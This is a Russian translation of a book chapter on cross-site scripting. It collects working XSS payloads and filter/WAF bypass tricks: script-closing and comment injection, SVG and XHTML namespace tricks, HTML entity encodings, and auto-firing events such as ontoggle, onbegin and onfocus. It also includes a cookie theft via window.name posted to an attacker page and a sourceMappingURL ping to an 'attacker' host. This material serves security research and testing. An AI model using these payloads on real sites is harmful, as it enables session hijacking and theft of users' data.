Глава 8. XSS

Эта глава посвящена межсайтовым сценариям (Cross Site Scripting), нежно именуемым XSS, хотя это название не имеет особого смысла. Так как вы можете сохранять XSS из одного и того же сайта, и вы можете иметь сценарии из разных источников, которые не являются одним и тем же сайтом, но имя застряло, и все знают их таковыми, что бы ни произошло. В этой главе я расскажу о некоторых хитростях XSS о которых вы, возможно, не знали, и объединю изученные в других главах методы для создания занятных полезных нагрузок. Тогда давайте к делу…

Закрывающие сценарии

Первый метод состоит в применении закрывающего блока сценария внутри строки JavaScript. Он довольно хорошо известен в сообществе XSS, но если вы разработчик, вы, возможно, не сталкивались с этим раньше. Основная идея заключается в том, что у вас есть какое-то отражение внутри строки JavaScript, и внедрённая кавычка экранирована правильно, но меньше и больше чем нет. Чтобы воспользоваться этим сценарием, вы можете ввести закрывающий тег сценария внутри строки JS, и это закроет блок сценария и вызовет исключительную ситуацию JavaScript из-за незакрытой строки, затем вы можете приступить к внедрению собственного HTML и получить XSS на цель приложения:


1 <script>
2 let foo = "</script><img/src/onerror=alert(1337)>";
3 </script>
 	   

Для исправления данной уязвимости вы можете экранировать значения символа косой черты при помощи обратной косой черты, это предотвратит работу закрывающего сценария, но, как мы обнаружим позднее, это не лучшее исправление. Гораздо лучшее решение состоит в том, чтобы экранировать unicode последовательность меньше чем и больше чем, это обеспечит то, что значение HTML не будет строиться внутри такой строки. Естественно, вы обязаны также экранировать или кодировать обратную косую черту и кавычки.

Комментарии внутри сценариев

Вы можете предположить, что исправление предыдущей уязвимости экранированием косой черты решит данную проблему, однако это не так. Когда у вас имеются две точки внедрения, причём одна внутри переменной JavaScript, а другая внутри атрибута HTML, вы можете внедрить открывающий тег комментария HTML предотвращающий закрытия сценария сценарий и этот блок сценария будет продолжаться до тех пор, пока не встретится другой закрывающий сценария тег. Следующий код демонстрирует это:


1 <script>
2 let foo = "<!--<script>";
3 </script>
4 
5 <img title="</script><img/src/onerror=alert(1)>">
 	   

Вот что строится на самом деле:


1 <script>
2 let foo = "<!--<script>";
3 </script>
4 
5 <img title="</script><img src="" onerror="alert(1)">"&gt;
 	   

Как вы можете наблюдать на выходе, сочетание комментария HTML и сценария открытия сводит на нет имеющийся сценарий закрытия, а второй сценарий закрытия затем применяется для закрытия блока сценария, который затем вырывается из атрибута заголовка, вызывая построение элемента изображения.

Логические объекты HTML внутри SVG

Вы можете предположить, что если вы правильно осуществляете экранирование, внутри блоков сценариев вы можете предотвращать XSS. Однако внутри SVG это иная история. Логические объекты HTML отображаются внутри, потому что SVG выступает форматом XML, а это означает, что когда эти логические объекты декодируются SVG, JavaScript получает верные не кодированные символы:


1 <svg>
2 <script>let foo = "&quot;-alert(1)///";</script>
3 </svg>
 	   

Сценарий без сценария закрытия

Возможно, вы предполагали что при использовании блока сценария вам всегда требуется закрывающий сценарий. И вы ошибались, по крайней мере в Firefoх. Когда вы применяете SVG, в Firefox у вас может иметься самостоятельно закрывающийся сценарий:


1 <svg><script href=data:,alert(1) />
 	   

Вам следует применять атрибут href, потому как вы пребываете в SVG, а не в HTML, а там атрибут src не поддерживается.

Полезные нагрузки названия окна

Ещё один распространённый трюк из арсенала XSS это применение window.name для контрабанды в прочие домены или страницы полезной нагрузки. Браузеры борются с этим удаляя такое название для междоменной навигации верхнего уровня, но данный метод прекрасно работает при применении iframes:


1 <iframe src=//target name=alert(1)></iframe>
2 
3 <!--target–>
4 <script>eval(name)</script>
 	   

Вы даже можете переносить туда файлы cookie и извлекать их, когда страница переходит на управляемую вами страницу. Например:


1 <script>name=document.cookie</script>
2 <a href="//attacker">test</a>
3 
4 <!--Attacker controlled page–>
5 <script>fetch('/collect-cookie', {method:"post",body:name})</script>
 	   

Соответствия источников для создания обратных ping

Соответствие источников это великолепный способ создания взаимодействия DNS/HTTP, которое можно применять для скрытного вывода данных. Когда у вас внутри однострочного комментария имеется инъекция, вы можете применять запрос исходного соответствия для скрытого вывода данных после такого комментария. Однако имеется одна проблема: Для этого требуется чтобы у жертвы были открыты devtools. Хотя когда вы получаете обратный ping, вы можете пользоваться этим в своих интересах, потому как вы можете быть уверены что у вашей жертвы открыты devtools. Вот как это работает:


1 //# sourceMappingURL=https://attacker?
 	   

После выполнения оценки данного комментария будет отправлен запрос источнику соответствия, причём это также срабатывает в функции eval() обратите внимание, что вам придётся воспользоваться инструментом OOB (Out-of-Band), например, Burp Collaborator или Interactsh. Это обусловлено тем, что devtools не отображает такой запрос на вкладке network.

Новый приёмник перенаправления

Chrome представил новый способ вызова перенаправления на стороне клиента: navigation.navigate(). Применяя этот метод возможно определять URL JavaScript , что означает что вы способны также вызывать произвольный JavaScript. Для его применения вы просто вызываете этот метод navigate() с JavaScript или URL HTML:


1  navigation.navigate('javascript:alert(1337)')
 	   

Комментарии JavaScript

JavaScript поддерживает весь спектр синтаксиса комментариев. Существует несколько различных типов комментариев в одну строку:


1  #!
2  //
3  <!--
4  –>
 	   

Первый пример будет работать только в том случае, когда это самый первый оператор JavaScript, если он появляется в другом месте, будет вызвана синтаксическая ошибка. Второй пример — это стандартный способ создания однострочного комментария, который может появиться в любом месте выражения или оператора (при условии, что он не находится внутри строки и т.д.). Далее, третий пример ведёт себя точно так же, как и предыдущий комментарий, и был добавлен на заре Интернета, когда сценарии не поддерживались всеми браузерами, но он все ещё поддерживается сегодня.

Наконец, в JavaScript разрешён закрывающий HTML-комментарий, и он действует как комментарий в одну строку, если используется в начале, однако, поскольку он потенциально может использоваться как операция уменьшения и больше чем, он не поддерживается нигде внутри выражения/ инструкции. Всякий комментарий в одну строку активен до тех пор, пока не встретится новый символ строки; это подразумевает символ возврата каретки, символ перевода на новую строку, символ разделителя абзаца или символ разделителя строк.

Насколько мне известно, JavaScript поддерживает только один тип комментария со множеством строк с косой чертой и звёздочкой:


1  /*
2  I'm a multiline comment
3  */
 	   

Новые строки

JavaScript поддерживает множество символов для разделения операторов. Они включают в себя возврат каретки, перевод строки, разделитель строк и разделитель абзацев. Это можно продемонстрировать следующим образом:


1 eval('//\ralert(1337)');//carriage return - возврат каретки
2 eval('//\nalert(1337)');//line feed - перевод строки
3 eval('//\u2028alert(1337)');//line separator разделитель строк
4 eval('//\u2029alert(1337)');//paragraph separator - разделитель абзацев
 	   

Когда у вас внутри однострочного комментария имеется инъекция, а WAF блокирует символ новой строку, то стоит попробовать упомянутые выше альтернативные символы.

Пробельные символы

В JavaScript имеется множество пробельных символов и их применение может помогать обходить беззвучный WAF, который для поиска определённых ключевых слов, таких как eval применяет регулярные выражения. Вот простой способ проверить наличие пробельных символов (обратите внимание, что это будет включать новые строки, возврат каретки и разделители строк/ абзацев):


 1 log=[];
 2 function funct(){}
 3     for(let i=0;i<=0x10ffff;i++){
 4         try{
 5             eval(`funct${String.fromCodePoint(i)}()`);
 6             log.push(i);
 7         }catch(e){}
 8 }
 9 console.log(log)
10 //9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8\
11 232,8233,8239,8287,12288,65279
 	   

Когда в атрибутах SVG или HTML появляются сырые символы, ими можно пользоваться или кодировать в HTML:


1  <img/src/onerror=alert&#65279;(1)>
 	   

Динамический импорт

JavaScript позволяет вам при помощи import() динамически загружать модуль, что похоже на обычную функцию за исключением того, что он позволяет механизму JavaScript выбирать действительно ли он нужен. Это похожее на функцию выражение позволяет указывать URL для импорта и весьма полезно позволяет определять URL данных для выполнения произвольного JavaScript:


1  import('data:text/javascript,alert(1)')
 	   

Пространство имён XHTML в XML

Когда у вас имеется контроль над файлом XML с типом содержимого text/xml, когда вы предоставите пространство имён XHTML, все ещё имеется возможность выполнения JavaScript.


1 <xml>
2     <text>hello<img src="1" onerror="alert(1)"  /></text>
3 </xml>
 	   

Без пространства имён браузер отобразит приведённый выше код как XML и покажет представление XML. Однако простое добавление к элементу img пространства имён позволит отображать его как XHTML:


1 <xml>
2     <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" \
3 /></text>
4 </xml>
 	   

Это может быть полезным для загрузки файлов или когда у вас имеется контроль над ответом REST API, который обслуживается с типом содержимого XML.

Выгрузки SVG

Обычно допустима выгрузка в веб приложение файлов изображений, но многие забывают, что внутри загруженных документов SVG вы можете применять сценарий. В отличие от SVG внутри HTML имеющийся синтаксический анализ при использовании SVG с верным типом mime более строгий. Это означает, что вам требуется убедиться что добавлен правильный атрибут пространства имён, причём он обязан соответствовать правилам синтаксического разбора XML, например, все атрибуты обязаны быть заключёнными в кавычки.


1 <svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/x\
2 link' width='100' height='100'>
3 <image href="1" onerror="alert(1)" />
4 </svg>
 	   

Вы можете предотвращать эксплуатацию данной проблемы фильтруя SVG в явном виде, но если вы не способны сделать это, вы всегда можете передать соответствующий файл с заголовком размещения содержимого (Content-Disposition) и значением вложения (attachment):


Content-Disposition: attachment
 	   

В современном браузере это должно препятствовать построению соответствующего SVG. Хотя имеется предостережение: когда встречается элемент <use>, он всё равно будет прорисовываться.

Применяемые SVG элементы

Как уже упоминалось, вы можете добиться исполнения JavaScript внедряя документ SVG с применением внутри SVG элемента <use>. Это срабатывает при условии, что документ находится в том же домене. Вы также можете применять URL данных, и я продемонстрирую это ниже:


1 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'\
2 &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 	   

Обратите внимание, что поскольку URL данных применяет допустимый тип mime SVG, используются более строгие правила. Также стоит отметить, что даже если это URL данных, он не будет выполняться из нулевого источника, он унаследует источник от текущей страницы.

Логические объекты HTML

HTML обладает широким спектром вариантов кодирования. В этом разделе я собираюсь рассмотреть различные способы кодирования символов с помощью логических объектов и завершить каждый раздел несколькими примерами.

  Десятичные логические объекты

Для представления различных данных вы можете пользоваться кодами символов, причём они обладают префиксом &# и заканчиваются не обязательной точкой с запятой. Например, символ "j" представляется как кодовый символ 106. Поэтому для создания такого символа вам просто требуется соединить такой префикс со значением кода, за которым следует не обязательная точка с запятой. Перед кодом символа вы также можете применять столько нулей, сколько пожелаете:


1 <a href="&#106;avascript:alert(1337)">test1</a>
2 <a href="&#106avascript:alert(1337)">test2</a>
3 <a href="&#00000000106avascript:alert(1337)">test3</a>
 	   

Преобразование в данный формат очень простое, вам всего лишь надо перебрать в цикле символы и преобразовывать соответствующий символ в код символа при помощи codePointAt():


1 'j'.codePointAt(0)
 	   

  Шестнадцатеричные логические объекты

В шестнадцатеричных логических объектах имеется много общего с десятичными, за исключением слегка иного префикса. В качестве префикса вы применяете &#x и преобразовываете код своего символа в шестнадцатеричное представление. Точка с запятой снова не обязательна, однако, когда имеется допустимый шестнадцатеричный символ, он будет создавать другой символ, а потому вам надлежит убедиться, что идущий следом символ не является допустимым шестнадцатеричным представлением:


1 <a href="&#x6a;avascript:alert(1337)">test1</a>
2 <a href="&#x6aavascript:alert(1337)">test2</a>
3 <a href="&#000000000x6a;avascript:alert(1337)">test3</a>
4 <a href="jav&#x61script:alert(1337)">test4</a>
 	   

В приведённом выше коде второй пример завершится ошибкой, потому что "a" является допустимым шестнадцатеричным кодом и, следовательно, создаёт символ, отличный от требуемого "j". Последний пример срабатывает, потому что "s" не является допустимым шестнадцатеричным кодом, поэтому данный логический объект выдаёт правильный символ. Чтобы создать такую кодировку, вам просто нужно снова получить кодовый пункт, но преобразовать его в шестнадцатеричный код следующим образом:


1 'j'.codePointAt(0).toString(16)
 	   

Стоит отметить, что когда у вас есть шестнадцатеричное значение с начальным нулём, вы можете его опустить, и оно все равно будет работать:


1 <a href="java&#xascript:alert(1)">test</a>
 	   

  Именованные логические объекты

Как вам известно, HTML также поддерживает именованные логические объекты; они позволяют предоставлять различные символы при помощи особенных имён. Вероятно, наиболее распространёнными именованными объектами являются &lt; и &gt;. Для некоторых логических объектов точка с запятой не обязательна, но они будут декодированы только в зависимости от своего следующего символа.


1 <a href="#" onclick="alert(title)" title="&ltimg/src/onerror=alert(1)&gt">test1</a>
2 <a href="#" onclick="alert(title)" title="&lt!----&gt">test2</a>
 	   

В первом примере значение больше будет декодировано, а меньше — нет, однако во втором примере будут декодированы оба. Это связано с тем, что браузер ожидает точку с запятой или продолжение именованного логического объекта, поскольку символ восклицательного знака не приводит к реальному логическому объекту, браузер знает, что вы должны подразумеваете &lt;.

  Именованные логические объекты HTML5

В HTML5 появилась целая пачка новых логических объектов, полезных для XSS. Однако для того, чтобы ими воспользоваться, они должны быть правильно сформированы. Это подразумевает отсутствие пропуска точки с запятой. Из всех логических объектов, вероятно, наиболее полезен &colon, поскольку вы можете применять его для внедрения протокола JavaScript без двоеточия:


1 <a href="javascript>colon;alert(1337)">test</a>
 	   

Другими примечательными логическими объектами выступают &lpar, &rpar;,&bsol;, &lsqb;,&rsqb;, &lcub;,&rcub;

&lpar транслируется как открывающая круглая скобка, &rpar; как закрывающая. &bsol; это символ обратной косой черты, а &lsqb; и &rsqb; это квадратные скобки, в то время как &lcub; и &rcub; левая и правая фигурные скобки (CUrly Braces). Вот как применять логические элементы &lpar и &rpar;:


 1 <a href="javascript&colon;alert&lpar;1337&rpar;">test</a>
 	   

Существуют даже логические объекты для символов новой строки и табуляции, которые, как мы узнали из главы о распылении, можно применять внутри протокола JavaScript:


 1 <a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">test</a>
 	   

Если вам удалось прокрасться в URL JavaScript, но круглые скобки блокируются WAF, вы можете воспользоваться именованные логическими объектами для символа обратной кавычки, на самом деле их имеется два, и они работают оба:


 1 <a href="javascript:alert&grave;1337&grave;">test</a>
 2 <a href="javascript:alert&DiacriticalGrave;1337&DiacriticalGrave;">test</a>
 	   

События

  onafterscriptexecute

Есть большое число примечательных событий, которые запускаются без взаимодействия с пользователем, и они наиболее полезны, поскольку вам не нужно убеждать жертву щёлкнуть что бы то ни было. Я собираюсь выделить наименее известные события, так как они будут наиболее полезны для обхода фильтров и WAF. onafterscriptexecute — это событие только для Firefox, и, как следует из его названия, оно срабатывает после выполнения сценария. Что действительно здорово в этом событии, так это то, что его можно применять с любым тегом, единственный его недостаток — оно требует, чтобы сценарий присутствовал внутри самого тега, в который вы внедряетесь:


1 <xss onafterscriptexecute=alert(1)><script>1</script>
 	   

Вы можете воспользоваться им для внедрения в открывающий тег и внутри него может быть загружен уже имеющийся сценарий, этого будет достаточно для возбуждения данного события. Существует связанное с ним событие onbeforescriptexecute, это снова только Firefox и требуется имеющийся сценарий.

  ontoggle

Вероятно, это самая известная хитрость по сравнению со всеми прочими. Вы можете событие ontoggle возбуждаться автоматически, когда принудительно раскроете элемент details:


1 <details ontoggle=alert(1) open>test</details>
 	   

  onunhandledrejection

Это относительно малоизвестное событие, которое работает только в Firefox. Требуется обязательство без предложения catch. Чтобы применения сайта с ним, вам понадобится имеющийся сценарий с отклонением без его обработки.


1 <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
 	   

  onbegin

SVG содержит большое число занятных событий, onbegin срабатывает при запуске анимации и довольно короткое, что всегда хорошо для полезной нагрузки XSS. Чтобы воспользоваться им, вы должны применить тег анимации и указать атрибут для анимации и её продолжительность:


1 <svg><animate onbegin=alert(1) attributeName=x dur=1s>
 	   

Также имеется связанный с ним тег onend, который срабатывает по завершению анимации. Также требует атрибут определения его продолжительности и атрибут анимации.

  Основанные на навигации события

Существует также несколько событий которыми вы можете воспользоваться и которые для своего возбуждения требуют навигации. Одним из таких событий является onpopstate, оно возбуждается при изменении истории. Для запуска данного события вы обязаны каким- то образом изменить URL цели. Скорее всего, это будет содержать iframe, стоит обратить ваше внимание на то, что когда не срабатывает alert() для перекрёстных iframe, вам придётся применять вместо него функцию print(). Вот некоторые образцы:


1 <body onpopstate=alert(1)><script>location.hash=1</script>
2 
3 <iframe src="//target?x=<body/onpopstate=print()>" onload=this.src%2b='%23'>
 	   

Для возбуждения также таких событий как hashchange вы также можете воспользоваться iframe чтобы вызывать модификацию соответствующей части значения URL:


1 <iframe src="//target?x=<body/onhashchange=print()>" onload=this.src%2b='%23'>
 	   

  onmessageonmessage

Снова воспользовавшись iframe вы способны загрузить внешний URL со своей инъекцией обработчика onmessage, а затем воспользоваться postMessage для возбуждения необходимого события:


1 <iframe src="//target?x=<body/onmessage=print()>" onload=this.contentWindow.postMess\
2 age('x','*')>
 	   

  onmessageonmessage

Обычно данное событие можно возбуждать при помощи textarea или input применяя атрибут autofocus. Можно заставить это событие срабатывать и другими элементами, воспользовавшись tabindex и неким атрибутом id. tabindex это атрибут доступности, позволяющий вам выбирать какие упорядоченные элементы вы можете избирать нажимая клавишу tab. Соединяя это с атрибутом id и применяя хэш из URL это автоматически осуществит фокусировку на данном элементе:


1 <x onfocus=alert(1) id=x tabindex=1>

somepage.html#x
 	   

По крайней мере в Chrome, существует ещё один трюк: вы можете воспользоваться атрибутом autofocus для любого элемента, при условии что в сочетании с ним вы применяете tabindex. Это означает, что вам не требуется id или хэш:


1 <x onfocus=alert(1) autofocus tabindex=1>
 	   

Аналогично, существует связанное с ним событие onfocusin, которое может применяться для обхода WAF и обладающее аналогичным описанному выше поведением.

  Основанные на анимации события

Хорошо известно, что для запуска событий в любом теге вы можете пользоваться переходами/ анимацией CSS. Если вы с этим не знакомы, вот как это можно сделать:


1 <style>:target {color: red;}</style>
2 <xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>

somepage.html#x
 	   

Это срабатывает с применением селектора :target для изменения стилей элемента, когда найден идентификатор, указанный в хэш-части URL. Затем это возбуждает событие. Недостатком данного конкретного подхода является то, что он требует блока стиля, который, вероятно, будет заблокирован WAF или фильтром. Однако имеется и иной способ, мы можем применить описанный ранее трюк, чтобы сфокусировать элемент, а поскольку Chrome добавляет контур CSS к сфокусированным элементам, вы можете использовать переход, который возбудит событие, потому что изменится контур:


1 <xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>

somepage.html#x
 	   

Если у вас возникли проблемы с доносом на данное событие, всегда имеется вариант webkit, которым вы можете воспользоваться:


1 <xss id=x style="transition:outline 1s" onwebkittransitionend=alert(1) tabindex=1></\
2 xss>

somepage.html#x
 	   

Выводы

В данной главе мы рассмотрели много чего. В основном, я пытался выдать мозговой дамп из непонятных трюков, до которых я смог додуматься или из ответов на вопросы, которые мне задавали в Твиттере. Сначала мы рассмотрели как закрывать сценарии без закрывающего тега. Затем рассказали как злоупотреблять комментариями HTML внутри сценариев, логическими элементами HTML внутри SVG, как злоупотреблять window.name для нелегальной доставки полезной нагрузки и файлов куки. Мы узнали как применять соответствия источников для отправки обратного ping в контролируемый злоумышленниками сервер. После этого мы продемонстрировали новый слив (sink) JavaScript с названием navigate(), который работает в Chrome. Далее мы рассмотрели все имеющиеся в JavaScript комментарии и пробельные символы. Позднее мы показали как применять динамический импорт с URL данных. После этого мы рассмотрели как получать HTML внутри документа XML. Далее вы показали как применять загрузку SVG и пользоваться элементами. После этого мы рассмотрели логические объекты HTML и, наконец, завершили некими малоизвестными событиями JavaScript/